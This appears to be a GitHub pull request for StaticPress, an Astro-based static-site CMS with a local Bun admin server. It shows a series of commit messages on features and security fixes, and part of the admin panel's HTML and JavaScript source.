Conversation
- Build button tries API call, falls back to showing terminal command
- Add Node adapter for dev server API routes - Create static config for production builds - Build button now runs actual build and creates dist/ folder
- Simplified build to work with static output - Build button shows instructions - Run bun run build && bun run preview to see site
- Upgrade Astro to 6.0.7 and Tailwind to 4.2.2 - Remove conflicting @astrojs/tailwind, use @tailwindcss/vite only - Add content collection config at src/content.config.ts - Create dynamic blog post route src/pages/blog/[slug].astro - Rewrite blog index to load from content collections - Fix admin build page with actual build command - Remove empty admin-pages directory - Simplify build script (remove mv hack)
- Rename Deploy button to 'Show Deploy Command' (was misleading) - Add security warning about localStorage for API tokens - Remove HTML comment artifacts from post/page exports - Add slug uniqueness validation to posts and pages editor
- Rewrite README with correct Astro commands (bun run dev, build, preview) - Add pages_build_output_dir = "dist" to wrangler.toml - Add script to BaseLayout to load theme_css from localStorage - Note: favicon.svg already exists in public/ - Note: /admin/layout route already works (file exists at src/pages/admin/layout.astro)
Security & Data: - Add try/catch around JSON.parse for localStorage data (posts, pages) - Fix single quote escaping in HTML output to prevent XSS - Add theme support to BaseLayout for homepage Content Export: - Add proper YAML escaping (escape quotes, newlines) in frontmatter - Change Export All to download individual .md files instead of concatenated - Remove invalid sitemap reference from robots.txt Routing: - Create src/pages/[slug].astro for static pages (/about etc.) - Static pages now render correctly at their URL paths Other fixes identified by expert review (acknowledged as design): - Theme CSS injection from localStorage (design limitation) - Visual editor placeholder (would need significant work) - Layout builder non-functional (design limitation)
Critical: - Sanitize theme CSS to prevent XSS via </style> tag injection - Escape </ in CSS before injecting to prevent escaping the style tag High: - Fix deploy command to show real token with 'Copy Full Command' button - Fix duplicate slug validation in posts.astro (parseInt NaN bug) - Fix duplicate slug validation in pages.astro (same NaN bug) Medium: - Add date field to pages frontmatter export
- Fix typo in about.md: withwrangler -> with wrangler - Add title.trim() validation to prevent whitespace-only titles - Fix theme toggle text to say 'Switch to Light/Dark' instead of confusing opposite state - Remove misleading 'Preparing...' state in deploy button
- Change about.md 'React' to 'Vanilla JS' for admin UI accuracy - Fix welcome.md to use 'bunx wrangler' instead of 'npx wrangler'
New Architecture: - Bun dev server (src/server.ts) handles file serving, API, and builds - New admin SPA (admin/index.html) with TipTap visual editor - Live preview with split view, iframe, or rendered HTML modes - Existing content auto-imported on startup Features: - Visual + Markdown editor toggle (TipTap WYSIWYG) - Live preview (3 modes: split, iframe, rendered) - Save writes directly to src/content/posts/ and src/content/pages/ - Build and Deploy triggers from admin UI - Auto-generates sitemap.xml and robots.txt SEO: - Canonical URLs on all pages - Open Graph meta tags - Twitter Card meta tags - Article published/modified times - Sitemap auto-generation - robots.txt with security disallows Security: - Admin and API routes blocked by robots.txt - Only static files deployed to Cloudflare Pages - Markdown sanitized with DOMPurify Updated: - README with new workflow documentation - SEO meta tags on all templates - robots.txt with proper security headers
High Priority: - Remove iframe/srcdoc from DOMPurify allowlist (XSS prevention) - Add localhost-only restriction to API endpoints - Add 1MB content size limit to renderMarkdown - Add js-yaml for proper YAML frontmatter parsing Medium Priority: - Add caching to importExistingContent (5s TTL, invalidates on writes) - Add types for js-yaml Verified: - XSS vectors (iframe, script) are now blocked - API only works on localhost - Build passes - Server starts correctly
Security fixes: - Escape --- in YAML frontmatter to prevent document separator injection - Restrict theme CSS to only CSS custom properties (var(--xxx)) - Always sanitize TipTap content through server API before preview - Remove duplicate theme toggle line Verified: - Build passes - YAML --- properly escaped to \-\-\- - CSS injection prevented (only var() allowed)
…itemap - Add TipTap extensions: syntax highlighting, image upload, task lists, tables - Media management with sharp compression (WebP, max 1920px) - Formspree contact form integration - PageLayout with shared navigation - Generate static sitemap.xml post-build - Fix CSS dark mode in admin modal - Fix API error handling - SVG passthrough without compression - Return 404 when dist doesn't exist
- Bundle TipTap locally instead of unpkg CDN (HIGH) - Sanitize TipTap HTML before saving (MEDIUM) - Bind server to 127.0.0.1 only (MEDIUM) - Fix ESM import in sitemap script (LOW) - Add atomic writes and content validation (LOW) - Add content size limits and slug validation
…heck - HIGH: API token now retrieved from localStorage on copy, not stored in DOM - MEDIUM: SVG files converted to WebP to prevent XSS attacks - MEDIUM: Cache TTL reduced to 1 second to reduce stale data window - LOW: Replaced CommonJS require() with ESM import statSync - LOW: Use URL hostname instead of Host header for localhost check - LOW: Add build-time warning for placeholder site URL
- Create site.config.json for siteUrl and formspreeId - Create scripts/config.ts with validation and warnings - Create src/lib/config.ts for Astro page imports - Update all pages to use centralized config - Build now warns if placeholders are detected - Add .gitignore update for config files
- Add Site URL and Formspree ID fields to deploy settings page - Save/load all settings (site + Cloudflare) to single config file - Show placeholder warning before deploying - Unified config file format with nested cloudflare settings
Add comprehensive settings panel to the admin SPA at /admin/: - Site URL and Formspree ID configuration - Cloudflare Pages project/token/account settings - Save/Load config to/from JSON file - Settings persist to localStorage Now accessible via the ⚙️ Settings button in the admin sidebar.
- Remove static public/robots.txt (was hardcoded placeholder) - Add robots.txt generation to sitemap script using siteUrl from config - robots.txt now correctly references configured site URL
- Update src/lib/config.ts to load from site.config.json instead of hardcoding - Add siteName and author fields to site.config.json - Update public pages to use SITE_NAME and AUTHOR from config - Pages updated: BaseLayout, PageLayout, [slug], blog/[slug], blog/index, index - Build warnings now correctly flag placeholder values for all config fields
…oads - Load siteUrl from site.config.json in src/server.ts instead of using hardcoded placeholder - Reject SVG file uploads with 400 error to prevent XSS attacks (Sharp cannot convert SVG to WebP) - Generate sitemap with correct baseUrl from config file
- Add published: z.boolean().default(true) to pages schema in content.config.ts - Update scripts/generate-sitemap.ts to filter pages by published status - Update src/server.ts sitemap generation to filter pages by published status - Pages now default to published=true for backwards compatibility
HIGH priority fixes: - Remove SVG from media file listing to match upload restrictions - Add slug validation to all API endpoints (GET/POST/DELETE for posts and pages) - Remove style tag from DOMPurify ALLOWED_TAGS to prevent CSS injection - Use js-yaml dump() for frontmatter formatting to prevent YAML injection - Add strict CSS value validation in theme_css (only allow colors, numbers, safe keywords) - Add URL protocol whitelist in media library (only allow / and https://) - Add sandbox attribute to preview iframe Note: CSRF protection, authentication, and rate limiting not implemented as they would require significant architectural changes for a local-only dev tool.
HIGH priority fixes: - Add filename validation and path traversal protection to media delete endpoint - Use yaml.JSON_SCHEMA for safe YAML parsing (prevents arbitrary code execution) - Remove API token from config export (admin/index.html and deploy.astro) - Remove 'Copy Full Command' button that exposed token in clipboard - Update deploy command to show export pattern instead of inline token Note: Authentication not implemented as this is a local-only dev tool. localStorage token storage is documented as a known trade-off.
- Change iframe sandbox from 'allow-same-origin' to 'allow-scripts' for better isolation - Improve isProduction() to reject: HTTP URLs, private IP ranges (10.x, 192.168.x, 172.16-31.x), .local domains, and loopback Other issues from audit not addressed (acceptable for local-only tool): - Authentication: Localhost binding is sufficient protection - localStorage tokens: Known trade-off for local dev tools - Rate limiting: Not needed for single-user local tool - Security headers: Low impact for localhost dev
There was a problem hiding this comment.
Gitzilla has reviewed your changes and found 1 potential issue.
Autofix is OFF. To automatically fix reported issues, enable autofix in the Gitzilla dashboard.
| <!DOCTYPE html> | ||
| <html lang="en"> | ||
| <head> | ||
| <meta charset="UTF-8"> | ||
| <meta name="viewport" content="width=device-width, initial-scale=1.0"> | ||
| <title>StaticPress Admin</title> | ||
| <script src="https://unpkg.com/@tailwindcss/browser@4"></script> | ||
| <link rel="icon" type="image/svg+xml" href="/favicon.svg"> | ||
| <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.9.0/styles/github-dark.min.css"> | ||
| <script src="/admin/admin-editor.js" type="module"></script> | ||
| <style> | ||
| * { box-sizing: border-box; } | ||
| body { font-family: system-ui, -apple-system, sans-serif; } | ||
|
|
||
| /* TipTap Editor Styles */ | ||
| .ProseMirror { outline: none; min-height: 300px; padding: 1rem; } | ||
| .ProseMirror p.is-editor-empty:first-child::before { color: #9ca3af; content: attr(data-placeholder); float: left; height: 0; pointer-events: none; } | ||
| .ProseMirror h1 { font-size: 2em; font-weight: bold; margin: 0.67em 0; } | ||
| .ProseMirror h2 { font-size: 1.5em; font-weight: bold; margin: 0.83em 0; } | ||
| .ProseMirror h3 { font-size: 1.17em; font-weight: bold; margin: 1em 0; } | ||
| .ProseMirror h4 { font-size: 1em; font-weight: bold; margin: 1.33em 0; } | ||
| .ProseMirror ul { list-style-type: disc; padding-left: 2em; margin: 1em 0; } | ||
| .ProseMirror ol { list-style-type: decimal; padding-left: 2em; margin: 1em 0; } | ||
| .ProseMirror li { margin: 0.25em 0; } | ||
| .ProseMirror blockquote { border-left: 3px solid #d1d5db; padding-left: 1em; margin: 1em 0; color: #6b7280; } | ||
| .ProseMirror code { background: #f3f4f6; padding: 0.2em 0.4em; border-radius: 3px; font-family: monospace; font-size: 0.9em; } | ||
| .ProseMirror pre { background: #1f2937; color: #f3f4f6; padding: 1em; border-radius: 0.5em; overflow-x: auto; margin: 1em 0; } | ||
| .ProseMirror pre code { background: none; padding: 0; color: inherit; } | ||
| .ProseMirror a { color: #3b82f6; text-decoration: underline; } | ||
| .ProseMirror img { max-width: 100%; height: auto; border-radius: 0.25rem; } | ||
| .ProseMirror hr { border: none; border-top: 2px solid #e5e7eb; margin: 2em 0; } | ||
|
|
||
| /* Task lists */ | ||
| .ProseMirror ul[data-type="taskList"] { list-style: none; padding-left: 0; } | ||
| .ProseMirror ul[data-type="taskList"] li { display: flex; align-items: flex-start; gap: 0.5rem; } | ||
| .ProseMirror ul[data-type="taskList"] li > label { flex-shrink: 0; margin-top: 0.25rem; } | ||
| .ProseMirror ul[data-type="taskList"] li > div { flex: 1; } | ||
| .ProseMirror ul[data-type="taskList"] input[type="checkbox"] { width: 1.1em; height: 1.1em; cursor: pointer; } | ||
|
|
||
| /* Tables */ | ||
| .ProseMirror table { border-collapse: collapse; width: 100%; margin: 1em 0; } | ||
| .ProseMirror table td, .ProseMirror table th { border: 1px solid #d1d5db; padding: 0.5em 1em; text-align: left; } | ||
| .ProseMirror table th { background: #f3f4f6; font-weight: bold; } | ||
| .ProseMirror table tr:hover { background: #f9fafb; } | ||
|
|
||
| /* Syntax highlighting */ | ||
| .ProseMirror .hljs { background: transparent; padding: 0; } | ||
|
|
||
| /* Dark mode */ | ||
| .dark .ProseMirror { background: #1f2937; color: #f9fafb; } | ||
| .dark .ProseMirror h1, .dark .ProseMirror h2, .dark .ProseMirror h3, .dark .ProseMirror h4 { color: #f9fafb; } | ||
| .dark .ProseMirror blockquote { border-color: #4b5563; color: #9ca3af; } | ||
| .dark .ProseMirror code { background: #374151; } | ||
| .dark .ProseMirror pre { background: #111827; } | ||
| .dark .ProseMirror table td, .dark .ProseMirror table th { border-color: #4b5563; } | ||
| .dark .ProseMirror table th { background: #374151; } | ||
| .dark .ProseMirror table tr:hover { background: #374151; } | ||
| .dark .ProseMirror hr { border-color: #4b5563; } | ||
|
|
||
| /* Split pane */ | ||
| .split-pane { display: flex; height: calc(100vh - 180px); } | ||
| .split-pane > div { flex: 1; overflow: auto; } | ||
| .split-pane .divider { width: 4px; background: #e5e7eb; cursor: col-resize; } | ||
| .dark .split-pane .divider { background: #374151; } | ||
|
|
||
| /* Preview iframe */ | ||
| .preview-iframe { width: 100%; height: 100%; border: none; background: white; } | ||
|
|
||
| /* Scrollbar */ | ||
| ::-webkit-scrollbar { width: 8px; height: 8px; } | ||
| ::-webkit-scrollbar-track { background: #f3f4f6; } | ||
| ::-webkit-scrollbar-thumb { background: #d1d5db; border-radius: 4px; } | ||
| .dark ::-webkit-scrollbar-track { background: #1f2937; } | ||
| .dark ::-webkit-scrollbar-thumb { background: #4b5563; } | ||
|
|
||
| /* Toast */ | ||
| .toast { position: fixed; bottom: 20px; right: 20px; padding: 12px 24px; border-radius: 8px; color: white; font-weight: 500; z-index: 1000; transform: translateY(100px); opacity: 0; transition: all 0.3s; } | ||
| .toast.show { transform: translateY(0); opacity: 1; } | ||
| .toast.success { background: #10b981; } | ||
| .toast.error { background: #ef4444; } | ||
| .toast.info { background: #3b82f6; } | ||
|
|
||
| /* Toolbar */ | ||
| .toolbar-btn { padding: 0.4rem 0.6rem; border-radius: 0.375rem; background: transparent; border: 1px solid transparent; cursor: pointer; display: flex; align-items: center; justify-content: center; transition: all 0.15s; } | ||
| .toolbar-btn:hover { background: #e5e7eb; } | ||
| .dark .toolbar-btn:hover { background: #4b5563; } | ||
| .toolbar-btn.active { background: #3b82f6; color: white; } | ||
| .toolbar-btn:disabled { opacity: 0.4; cursor: not-allowed; } | ||
|
|
||
| /* Media modal */ | ||
| .modal-overlay { position: fixed; inset: 0; background: rgba(0,0,0,0.5); z-index: 100; display: flex; align-items: center; justify-content: center; } | ||
| .modal-content { background: white; border-radius: 0.5rem; box-shadow: 0 25px 50px -12px rgba(0, 0, 0, 0.25); max-width: 64rem; width: 100%; max-height: 80vh; overflow: hidden; } | ||
| .dark .modal-content { background: #1f2937; } | ||
| .media-grid { display: grid; grid-template-columns: repeat(auto-fill, minmax(150px, 1fr)); gap: 1rem; padding: 1rem; } | ||
| .media-item { border: 2px solid #e5e7eb; border-radius: 0.5rem; overflow: hidden; cursor: pointer; transition: all 0.15s; } | ||
| .dark .media-item { border-color: #374151; } | ||
| .dark .media-item-info { color: #9ca3af; } | ||
| .media-item:hover { border-color: #3b82f6; } | ||
| .media-item img { width: 100%; aspect-ratio: 1; object-fit: cover; } | ||
| .media-item-info { padding: 0.5rem; font-size: 0.75rem; color: #6b7280; } | ||
| </style> | ||
| </head> | ||
| <body class="bg-gray-100 dark:bg-gray-900"> | ||
| <div id="app"></div> | ||
| <div id="toast" class="toast"></div> | ||
| <div id="modal-container"></div> | ||
|
|
||
| <script type="module"> | ||
| const state = { | ||
| posts: [], | ||
| pages: [], | ||
| media: [], | ||
| currentView: 'posts', | ||
| currentItem: null, | ||
| editor: null, | ||
| mode: 'visual', | ||
| previewMode: 'split', | ||
| theme: localStorage.getItem('theme') || 'dark', | ||
| loading: false, | ||
| mediaModalOpen: false, | ||
| }; | ||
|
|
||
| async function api(endpoint, options = {}) { | ||
| const res = await fetch(`/api${endpoint}`, { | ||
| headers: { 'Content-Type': 'application/json' }, | ||
| ...options, | ||
| }); | ||
| if (!res.ok) { | ||
| const text = await res.text(); | ||
| throw new Error(text || `API error: ${res.status}`); | ||
| } | ||
| return res.json(); | ||
| } | ||
|
|
||
| async function apiForm(endpoint, formData) { | ||
| const res = await fetch(`/api${endpoint}`, { | ||
| method: 'POST', | ||
| body: formData, | ||
| }); | ||
| const json = await res.json(); | ||
| if (!res.ok) { | ||
| throw new Error(json.error || `Upload failed: ${res.status}`); | ||
| } | ||
| return json; | ||
| } | ||
|
|
||
| function showToast(message, type = 'info') { | ||
| const toast = document.getElementById('toast'); | ||
| toast.textContent = message; | ||
| toast.className = `toast ${type} show`; | ||
| setTimeout(() => toast.classList.remove('show'), 3000); | ||
| } | ||
|
|
||
| function applyTheme() { | ||
| document.documentElement.classList.toggle('dark', state.theme === 'dark'); | ||
| } | ||
|
|
||
| function render() { | ||
| applyTheme(); | ||
| const app = document.getElementById('app'); | ||
| app.innerHTML = ` | ||
| <div class="flex h-screen"> | ||
| <aside class="w-64 bg-gray-900 dark:bg-black text-white flex flex-col"> | ||
| <div class="p-6 border-b border-gray-800"> | ||
| <h1 class="text-xl font-bold">StaticPress</h1> | ||
| <p class="text-xs text-gray-400 mt-1">Admin Panel</p> | ||
| </div> | ||
| <nav class="flex-1 p-4 space-y-1"> | ||
| <button onclick="navigate('posts')" class="w-full text-left px-4 py-2 rounded hover:bg-gray-800 ${state.currentView === 'posts' ? 'bg-gray-800' : ''}"> | ||
| 📝 Posts | ||
| </button> | ||
| <button onclick="navigate('pages')" class="w-full text-left px-4 py-2 rounded hover:bg-gray-800 ${state.currentView === 'pages' ? 'bg-gray-800' : ''}"> | ||
| 📄 Pages | ||
| </button> | ||
| <button onclick="openMediaModal()" class="w-full text-left px-4 py-2 rounded hover:bg-gray-800 ${state.currentView === 'media' ? 'bg-gray-800' : ''}"> | ||
| 🖼️ Media | ||
| </button> | ||
| <div class="pt-4 border-t border-gray-800 mt-4"> | ||
| <p class="text-xs text-gray-500 uppercase px-4 mb-2">Publish</p> | ||
| <button onclick="runBuild()" class="w-full text-left px-4 py-2 rounded hover:bg-gray-800"> | ||
| 🔨 Build Site | ||
| </button> | ||
| <button onclick="runDeploy()" class="w-full text-left px-4 py-2 rounded hover:bg-gray-800"> | ||
| 🚀 Deploy | ||
| </button> | ||
| </div> | ||
| <div class="pt-4 border-t border-gray-800 mt-4"> | ||
| <p class="text-xs text-gray-500 uppercase px-4 mb-2">Config</p> | ||
| <button onclick="navigate('settings')" class="w-full text-left px-4 py-2 rounded hover:bg-gray-800 ${state.currentView === 'settings' ? 'bg-gray-800' : ''}"> | ||
| ⚙️ Settings | ||
| </button> | ||
| </div> | ||
| </nav> | ||
| <div class="p-4 border-t border-gray-800"> | ||
| <button onclick="toggleTheme()" class="flex items-center gap-2 px-4 py-2 text-sm text-gray-400 hover:text-white w-full rounded hover:bg-gray-800"> | ||
| ${state.theme === 'dark' ? '☀️ Light Mode' : '🌙 Dark Mode'} | ||
| </button> | ||
| <a href="/" target="_blank" class="block px-4 py-2 text-sm text-gray-400 hover:text-white mt-2"> | ||
| 👁️ View Site → | ||
| </a> | ||
| </div> | ||
| </aside> | ||
|
|
||
| <main class="flex-1 flex flex-col overflow-hidden"> | ||
| ${renderMain()} | ||
| </main> | ||
| </div> | ||
| `; | ||
|
|
||
| if (state.currentItem !== null) { | ||
| initEditor(); | ||
| } | ||
|
|
||
| if (state.mediaModalOpen) { | ||
| renderMediaModal(); | ||
| } | ||
|
|
||
| // Populate settings fields when settings view is shown | ||
| if (state.currentView === 'settings') { | ||
| setTimeout(() => { | ||
| document.getElementById('settings-site-url').value = localStorage.getItem('site_url') || ''; | ||
| document.getElementById('settings-formspree-id').value = localStorage.getItem('formspree_id') || ''; | ||
| document.getElementById('settings-cf-project').value = localStorage.getItem('cf_project') || ''; | ||
| document.getElementById('settings-cf-account').value = localStorage.getItem('cf_account') || ''; | ||
| const cfToken = localStorage.getItem('cf_token') || ''; | ||
| if (cfToken) { | ||
| document.getElementById('settings-cf-token').value = cfToken; | ||
| } | ||
| }, 0); | ||
| } | ||
| } | ||
|
|
||
| function renderMain() { | ||
| if (state.currentItem !== null) { | ||
| return renderEditor(); | ||
| } | ||
| if (state.currentView === 'posts') return renderList('posts', state.posts); | ||
| if (state.currentView === 'pages') return renderList('pages', state.pages); | ||
| if (state.currentView === 'media') return renderMediaLibrary(); | ||
| if (state.currentView === 'settings') return renderSettings(); | ||
| return renderDashboard(); | ||
| } | ||
|
|
||
| function renderDashboard() { | ||
| return ` | ||
| <div class="p-8"> | ||
| <h1 class="text-3xl font-bold text-gray-900 dark:text-white mb-8">Dashboard</h1> | ||
| <div class="grid grid-cols-3 gap-6"> | ||
| <div class="bg-white dark:bg-gray-800 rounded-lg shadow p-6"> | ||
| <h3 class="font-semibold text-gray-900 dark:text-white">📝 Posts</h3> | ||
| <p class="text-3xl font-bold text-blue-600">${state.posts.length}</p> | ||
| </div> | ||
| <div class="bg-white dark:bg-gray-800 rounded-lg shadow p-6"> | ||
| <h3 class="font-semibold text-gray-900 dark:text-white">📄 Pages</h3> | ||
| <p class="text-3xl font-bold text-green-600">${state.pages.length}</p> | ||
| </div> | ||
| <div class="bg-white dark:bg-gray-800 rounded-lg shadow p-6"> | ||
| <h3 class="font-semibold text-gray-900 dark:text-white">🖼️ Media</h3> | ||
| <p class="text-3xl font-bold text-purple-600">${state.media.length}</p> | ||
| </div> | ||
| </div> | ||
| </div> | ||
| `; | ||
| } | ||
|
|
||
| function renderList(type, items) { | ||
| return ` | ||
| <div class="p-8 flex-1 overflow-auto"> | ||
| <div class="flex justify-between items-center mb-6"> | ||
| <h1 class="text-3xl font-bold text-gray-900 dark:text-white capitalize">${type}</h1> | ||
| <button onclick="createNew('${type}')" class="px-4 py-2 bg-blue-600 text-white rounded-lg hover:bg-blue-700"> | ||
| + New ${type === 'posts' ? 'Post' : 'Page'} | ||
| </button> | ||
| </div> | ||
| <div class="space-y-4"> | ||
| ${items.length === 0 ? ` | ||
| <div class="bg-white dark:bg-gray-800 rounded-lg p-8 text-center text-gray-500"> | ||
| No ${type} yet. Create your first one! | ||
| </div> | ||
| ` : items.map(item => ` | ||
| <div class="bg-white dark:bg-gray-800 rounded-lg p-4 flex justify-between items-center"> | ||
| <div> | ||
| <h3 class="font-semibold text-gray-900 dark:text-white">${escapeHtml(item.title || 'Untitled')}</h3> | ||
| <p class="text-sm text-gray-500">/${escapeHtml(item.slug)} • ${item.published ? 'Published' : 'Draft'}</p> | ||
| </div> | ||
| <div class="flex gap-2"> | ||
| <button onclick="editItem('${type}', '${item.slug}')" class="px-3 py-1 bg-blue-600 text-white rounded hover:bg-blue-700">Edit</button> | ||
| <button onclick="deleteItem('${type}', '${item.slug}')" class="px-3 py-1 bg-red-600 text-white rounded hover:bg-red-700">Delete</button> | ||
| </div> | ||
| </div> | ||
| `).join('')} | ||
| </div> | ||
| </div> | ||
| `; | ||
| } | ||
|
|
||
| function renderMediaLibrary() { | ||
| const safeMedia = state.media.filter(item => { | ||
| const url = item.url || ''; | ||
| return url.startsWith('/') || url.startsWith('https://'); | ||
| }); | ||
| return ` | ||
| <div class="p-8 flex-1 overflow-auto"> | ||
| <div class="flex justify-between items-center mb-6"> | ||
| <h1 class="text-3xl font-bold text-gray-900 dark:text-white">Media Library</h1> | ||
| <label class="px-4 py-2 bg-blue-600 text-white rounded-lg hover:bg-blue-700 cursor-pointer"> | ||
| + Upload Image | ||
| <input type="file" accept="image/*" onchange="uploadMedia(this.files)" class="hidden" multiple> | ||
| </label> | ||
| </div> | ||
| <div class="grid grid-cols-4 gap-6"> | ||
| ${safeMedia.length === 0 ? ` | ||
| <div class="col-span-4 bg-white dark:bg-gray-800 rounded-lg p-8 text-center text-gray-500"> | ||
| No media yet. Upload your first image! | ||
| </div> | ||
| ` : safeMedia.map(item => ` | ||
| <div class="bg-white dark:bg-gray-800 rounded-lg p-4"> | ||
| <div class="aspect-square bg-gray-100 dark:bg-gray-700 rounded-lg overflow-hidden mb-2"> | ||
| <img src="${escapeHtml(item.url)}" alt="${escapeHtml(item.name)}" class="w-full h-full object-cover"> | ||
| </div> | ||
| <p class="text-sm text-gray-900 dark:text-white truncate">${escapeHtml(item.name)}</p> | ||
| <p class="text-xs text-gray-500">${item.size}</p> | ||
| <div class="flex gap-2 mt-2"> | ||
| <button onclick="copyMediaUrl('${escapeHtml(item.url)}')" class="flex-1 px-2 py-1 bg-gray-200 dark:bg-gray-700 rounded text-xs hover:bg-gray-300 dark:hover:bg-gray-600">Copy URL</button> | ||
| <button onclick="deleteMedia('${escapeHtml(item.name)}')" class="flex-1 px-2 py-1 bg-red-100 dark:bg-red-900 text-red-600 dark:text-red-300 rounded text-xs hover:bg-red-200 dark:hover:bg-red-800">Delete</button> | ||
| </div> | ||
| </div> | ||
| `).join('')} | ||
| </div> | ||
| </div> | ||
| `; | ||
| } | ||
|
|
||
| function renderSettings() { | ||
| return ` | ||
| <div class="p-8 flex-1 overflow-auto"> | ||
| <h1 class="text-3xl font-bold text-gray-900 dark:text-white mb-8">Settings</h1> | ||
|
|
||
| <!-- Site Configuration --> | ||
| <div class="bg-white dark:bg-gray-800 rounded-lg shadow-sm border border-gray-200 dark:border-gray-700 p-6 mb-6"> | ||
| <h2 class="text-lg font-semibold text-gray-900 dark:text-white mb-4">Site Configuration</h2> | ||
| <p class="text-gray-600 dark:text-gray-300 text-sm mb-4">These settings are used for SEO, sitemap, and contact form.</p> | ||
|
|
||
| <div class="space-y-4"> | ||
| <div> | ||
| <label class="block text-sm font-medium text-gray-700 dark:text-gray-300 mb-1">Site URL</label> | ||
| <input type="url" id="settings-site-url" class="w-full px-3 py-2 border border-gray-300 dark:border-gray-600 dark:bg-gray-700 dark:text-white rounded-lg" placeholder="https://example.com" /> | ||
| </div> | ||
|
|
||
| <div> | ||
| <label class="block text-sm font-medium text-gray-700 dark:text-gray-300 mb-1">Formspree Form ID <a href="https://formspree.io" target="_blank" class="text-blue-500 text-xs">(Get Free Form →)</a></label> | ||
| <input type="text" id="settings-formspree-id" class="w-full px-3 py-2 border border-gray-300 dark:border-gray-600 dark:bg-gray-700 dark:text-white rounded-lg" placeholder="xyzabc123" /> | ||
| </div> | ||
|
|
||
| <button onclick="saveSiteSettings()" class="px-4 py-2 bg-blue-600 text-white rounded-lg hover:bg-blue-700">Save Site Settings</button> | ||
| </div> | ||
| </div> | ||
|
|
||
| <!-- Cloudflare Configuration --> | ||
| <div class="bg-white dark:bg-gray-800 rounded-lg shadow-sm border border-gray-200 dark:border-gray-700 p-6 mb-6"> | ||
| <h2 class="text-lg font-semibold text-gray-900 dark:text-white mb-4">Cloudflare Pages Configuration</h2> | ||
|
|
||
| <div class="space-y-4"> | ||
| <div> | ||
| <label class="block text-sm font-medium text-gray-700 dark:text-gray-300 mb-1">Project Name</label> | ||
| <input type="text" id="settings-cf-project" class="w-full px-3 py-2 border border-gray-300 dark:border-gray-600 dark:bg-gray-700 dark:text-white rounded-lg" placeholder="my-static-site" /> | ||
| </div> | ||
|
|
||
| <div> | ||
| <label class="block text-sm font-medium text-gray-700 dark:text-gray-300 mb-1">API Token <a href="https://dash.cloudflare.com/profile/api-tokens" target="_blank" class="text-blue-500 text-xs">(Get Token →)</a></label> | ||
| <input type="password" id="settings-cf-token" class="w-full px-3 py-2 border border-gray-300 dark:border-gray-600 dark:bg-gray-700 dark:text-white rounded-lg" placeholder="toke****oken" /> | ||
| </div> | ||
|
|
||
| <div> | ||
| <label class="block text-sm font-medium text-gray-700 dark:text-gray-300 mb-1">Account ID</label> | ||
| <input type="text" id="settings-cf-account" class="w-full px-3 py-2 border border-gray-300 dark:border-gray-600 dark:bg-gray-700 dark:text-white rounded-lg" placeholder="Your Cloudflare Account ID" /> | ||
| </div> | ||
|
|
||
| <button onclick="saveCloudflareSettings()" class="px-4 py-2 bg-blue-600 text-white rounded-lg hover:bg-blue-700">Save Cloudflare Settings</button> | ||
| </div> | ||
| </div> | ||
|
|
||
| <!-- Config File --> | ||
| <div class="bg-white dark:bg-gray-800 rounded-lg shadow-sm border border-gray-200 dark:border-gray-700 p-6 mb-6"> | ||
| <h2 class="text-lg font-semibold text-gray-900 dark:text-white mb-4">Save/Load Configuration</h2> | ||
| <p class="text-gray-600 dark:text-gray-300 mb-4 text-sm">Save all settings to a config file.</p> | ||
| <div class="flex gap-3"> | ||
| <button onclick="loadConfigFile()" class="px-4 py-2 bg-gray-600 text-white rounded-lg hover:bg-gray-700">Load Config</button> | ||
| <button onclick="saveConfigFile()" class="px-4 py-2 bg-green-600 text-white rounded-lg hover:bg-green-700">Save Config</button> | ||
| </div> | ||
| </div> | ||
|
|
||
| <div class="bg-yellow-50 dark:bg-yellow-900/30 border border-yellow-200 dark:border-yellow-800 rounded-lg p-4"> | ||
| <h3 class="font-medium text-yellow-800 dark:text-yellow-200 mb-2">⚠️ Note</h3> | ||
| <p class="text-sm text-yellow-700 dark:text-yellow-300">After changing settings, rebuild the site for changes to take effect.</p> | ||
| </div> | ||
| </div> | ||
| `; | ||
| } | ||
|
|
||
| function renderEditor() { | ||
| const item = state.currentItem; | ||
| return ` | ||
| <div class="p-4 border-b border-gray-200 dark:border-gray-700 flex justify-between items-center bg-white dark:bg-gray-800"> | ||
| <div class="flex gap-4"> | ||
| <button onclick="backToList()" class="px-4 py-2 bg-gray-200 dark:bg-gray-700 rounded-lg hover:bg-gray-300 dark:hover:bg-gray-600"> | ||
| ← Back | ||
| </button> | ||
| <select id="preview-select" onchange="setPreviewMode(this.value)" class="px-3 py-2 border rounded-lg dark:bg-gray-700 dark:border-gray-600"> | ||
| <option value="split" ${state.previewMode === 'split' ? 'selected' : ''}>Split View</option> | ||
| <option value="iframe" ${state.previewMode === 'iframe' ? 'selected' : ''}>Iframe Preview</option> | ||
| <option value="rendered" ${state.previewMode === 'rendered' ? 'selected' : ''}>Rendered HTML</option> | ||
| </select> | ||
| </div> | ||
| <div class="flex gap-2"> | ||
| <button onclick="saveItem()" class="px-4 py-2 bg-blue-600 text-white rounded-lg hover:bg-blue-700"> | ||
| 💾 Save | ||
| </button> | ||
| </div> | ||
| </div> | ||
|
|
||
| <div class="p-4 border-b border-gray-200 dark:border-gray-700 bg-gray-50 dark:bg-gray-800/50"> | ||
| <div class="grid grid-cols-4 gap-4"> | ||
| <div> | ||
| <label class="block text-sm font-medium text-gray-700 dark:text-gray-300 mb-1">Title</label> | ||
| <input type="text" id="item-title" value="${escapeHtml(item.title || '')}" | ||
| class="w-full px-3 py-2 border rounded-lg dark:bg-gray-700 dark:border-gray-600" | ||
| placeholder="Post title..."> | ||
| </div> | ||
| <div> | ||
| <label class="block text-sm font-medium text-gray-700 dark:text-gray-300 mb-1">Slug</label> | ||
| <input type="text" id="item-slug" value="${escapeHtml(item.slug || '')}" | ||
| class="w-full px-3 py-2 border rounded-lg dark:bg-gray-700 dark:border-gray-600" | ||
| placeholder="url-slug"> | ||
| </div> | ||
| <div> | ||
| <label class="block text-sm font-medium text-gray-700 dark:text-gray-300 mb-1">Excerpt</label> | ||
| <input type="text" id="item-excerpt" value="${escapeHtml(item.excerpt || '')}" | ||
| class="w-full px-3 py-2 border rounded-lg dark:bg-gray-700 dark:border-gray-600" | ||
| placeholder="Short description..."> | ||
| </div> | ||
| <div class="flex items-end gap-4"> | ||
| <label class="flex items-center gap-2 cursor-pointer"> | ||
| <input type="checkbox" id="item-published" ${item.published ? 'checked' : ''} class="w-4 h-4 rounded"> | ||
| <span class="text-sm text-gray-700 dark:text-gray-300">Published</span> | ||
| </label> | ||
| </div> | ||
| </div> | ||
| </div> | ||
|
|
||
